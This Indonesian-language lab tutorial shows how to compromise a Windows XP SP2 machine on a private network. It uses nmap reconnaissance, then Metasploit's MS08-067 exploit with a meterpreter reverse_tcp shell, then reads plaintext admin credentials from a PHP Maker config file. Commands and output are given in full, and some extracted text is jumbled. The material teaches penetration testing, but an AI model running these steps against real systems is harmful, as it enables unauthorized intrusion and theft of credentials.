Hacking Windows XP

Dwi Sakethi

December 2017

1 Pengantar

Dalam kasus ini, akan dilakukan hacking pada sistem yang menggunakan Windows XP SP 2. Target ini spesifik, sehingga tidak dapat dilakukan untuk versi Windows yang lainnya. Perangkat yang dibutuhkan adalah Metasploit Framework baik yang dijalankan pada GNU Linux, Kali Linux ataupun Microsoft Windows.

Tentu saja diperlukan juga suatu sistem yang sudah didisain menjadi targetnya.

2 Target

Suatu sistem dapat diakses di http://172.16.44.83/rahasia.



Gambar 1: Contoh Sistem Target

Sistem ini dibuat menggunakan PHP Maker. Cara mendeteksinya adalah dengan melakukan $View\ Source\$ pada browser.

Gambar 2: PHP Maker

Mesin peladen ini kemudian dicek sistem operasinya dengan menggunakan nmap.

root@debian:/home/dwijim# nmap -0 172.16.44.83

```
Starting Nmap 7.40 (https://nmap.org) at 2017-12-12 11:36 WIB
WARNING: RST from 172.16.44.83 port 53 -- is this port really open?
WARNING: RST from 172.16.44.83 port 53 -- is this port really open?
WARNING: RST from 172.16.44.83 port 53 -- is this port really open?
WARNING: RST from 172.16.44.83 port 53 -- is this port really open?
WARNING: RST from 172.16.44.83 port 53 -- is this port really open?
WARNING: RST from 172.16.44.83 port 53 -- is this port really open?
Nmap scan report for 172.16.44.83
Host is up (0.0012s latency).
Not shown: 993 closed ports
PORT
        STATE SERVICE
        open domain
53/tcp
80/tcp
        open http
135/tcp open
              msrpc
139/tcp
        open
              netbios-ssn
443/tcp
        open
              https
445/tcp open
              microsoft-ds
3306/tcp open mysql
MAC Address: 6C:3B:6B:7A:28:86 (Routerboard.com)
Device type: media device
Running: Microsoft Windows PocketPC/CE
OS CPE: cpe:/o:microsoft:windows_ce
OS details: AT&T U-Verse set-top box (Windows CE 5.0)
Network Distance: 1 hop
```

Karena kemungkinan sistem ini menggunakan Microsoft Windows, maka dapat dilakukan uji coba terhadap sistem tersebut.

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Dengan informasi bahwa sistem operasi yang digunakan adalah Microsoft Windows dan sistem dikembangankan menggunakan PHP Maker, maka disimpulkan bahwa konfigurasi sistem ada pada berkas bernama ewcfg9.php. Dalam

Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

hal ini username dan password barangkali ada di sana.

3 Cek IP Komputer

Di dalam proses ini, nantinya dibutuhkan informasi tentang komputer sendiri (localhost) yang digunakan. Informasi ini dapat diperoleh dengan memberikan perintah:

```
root@debian:/home/dwijim# ifconfig
enp0s10: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
        inet 172.16.44.71 netmask 255.255.255.0 broadcast 172.16.44.255
   inet6 fe80::21d:72ff:fea3:9d0c prefixlen 64 scopeid x20<link>
    ether 00:1d:72:a3:9d:0c txqueuelen 1000 (Ethernet)
   RX packets 94023 bytes 32646319 (31.1 MiB)
   RX errors 0 dropped 0 overruns 0 frame 96
   TX packets 62635 bytes 11139925 (10.6 MiB)
   TX errors 0 dropped 0 overruns 0 carrier 0
                                                 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 :: 1 prefixlen 128 scopeid 0x10<host>
   loop txqueuelen 1 (Local Loopback)
   RX packets 626 bytes 36382 (35.5 KiB)
   RX errors 0 dropped 0 overruns 0 frame 0
   TX packets 626 bytes 36382 (35.5 KiB)
   TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  Berarti nilai LHOST 172.16.44.71
```

4 Urutan Proses

Jalankan Metasploit Framework dari Console. Perintahnya adalah msfconsole Sebagian tampilannya tampak seperti berikut:

```
=[ metasploit v4.16.16-dev- ]
+ -- --=[ 1702 exploits - 969 auxiliary - 299 post ]
+ -- --=[ 503 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
```

Kemudian prosesnya adalah:

- 1. use exploit/windows/smb/ms08_067_netapi
- 2. set PAYLOAD windows/meterpreter/reverse_tcp

- 3. set LHOST 172.16.44.71
- 4. set RHOST 172.16.44.83
- 5. exploit

Langkah-langkah persiapan tersebut, sebelum menjalankan perintah exploit dapat dilihat pada tampilan berikut:

```
= [ metasploit v4.16.16-dev-

+ · · · -= [ 1702 exploits - 969 auxiliary - 299 post ]

+ · · · · -= [ 593 payloads - 40 encoders - 10 nops ]

+ · · · · -= [ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST 172.16.44.71

LHOST => 172.16.44.71

msf exploit(ms08_067_netapi) > set RHOST 172.16.44.83

RHOST => 172.16.44.83

msf exploit(ms08_067_netapi) > set RHOST 172.16.44.83
```

Gambar 3: Isian Nilai-Nilai Metasploit

Jika proses berhasil akan didapatkan tampilan seperti berikut:

- [*] Started reverse TCP handler on 172.16.44.71:4444
- [*] 172.16.44.83:445 Automatically detecting the target...
- [*] Sending stage (179267 bytes) to 172.16.44.83
- [*] 172.16.44.83:445 Fingerprint: Windows XP Service Pack 2 lang:English
- [*] 172.16.44.83:445 Selected Target: Windows XP SP2 English (AlwaysOn NX)
- [*] 172.16.44.83:445 Attempting to trigger the vulnerability...
- [*] Meterpreter session 1 opened (172.16.44.71:4444 -> 172.16.44.83:1356) at 2017-12-12 12:38:31 +0700

Jika kemudian IP komputer dicek, maka IP komputer sekarang adalah IP komputer target.

meterpreter > ipconfig

Interface 1

Name : MS TCP Loopback interface

Hardware MAC : 00:00:00:00:00

MTU : 1520 IPv4 Address : 127.0.0.1

Interface 2

Name : AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport

Hardware MAC : 08:00:27:e1:b9:07

MTU : 1500

IPv4 Address : 172.16.44.83 IPv4 Netmask : 255.255.255.0

5 Berkas Konfigurasi Sistem Informasi

Berkas konfigurasi sistem informasi bernama ewcfg9.php seperti yang telah disebut pada bagian sebelumnya. Jika dilihat dari root directory, ada direktori xampp, maka disimpulkan bahwa berkas konfigurasi ada di /xampp/htdocs/rahasia.

```
meterpreter > cd /xampp/htdocs/rahasia
meterpreter > dir ewcfg9.php
100666/rw-rw-rw- 20699 fil 2017-11-23 11:34:47 +0700 ewcfg9.php
meterpreter > edit ewcfg9.php
```

Dengan mencari di dalam berkas ini, maka akan ditemukan *username* dan *password* dari sistem informasi yang menjadi target.

```
// Security M
define("EW ADMIN USER NAME", "rahasia", TRUE); // Administrator
define("EW_ADMIN_PASSWORD", "cobaaja", TRUE); // Administrator
define("EW_USE_CUSTOM_LOGIN", TRUE, TRUE); // Use custom login

"
// User level constants M
define("EW_ALLOW_ADD", 1, TRUE); // Add M
define("EW_ALLOW_DELETE", 2, TRUE); // Delete M
```

Gambar 4: Username dan Password Sistem Informasi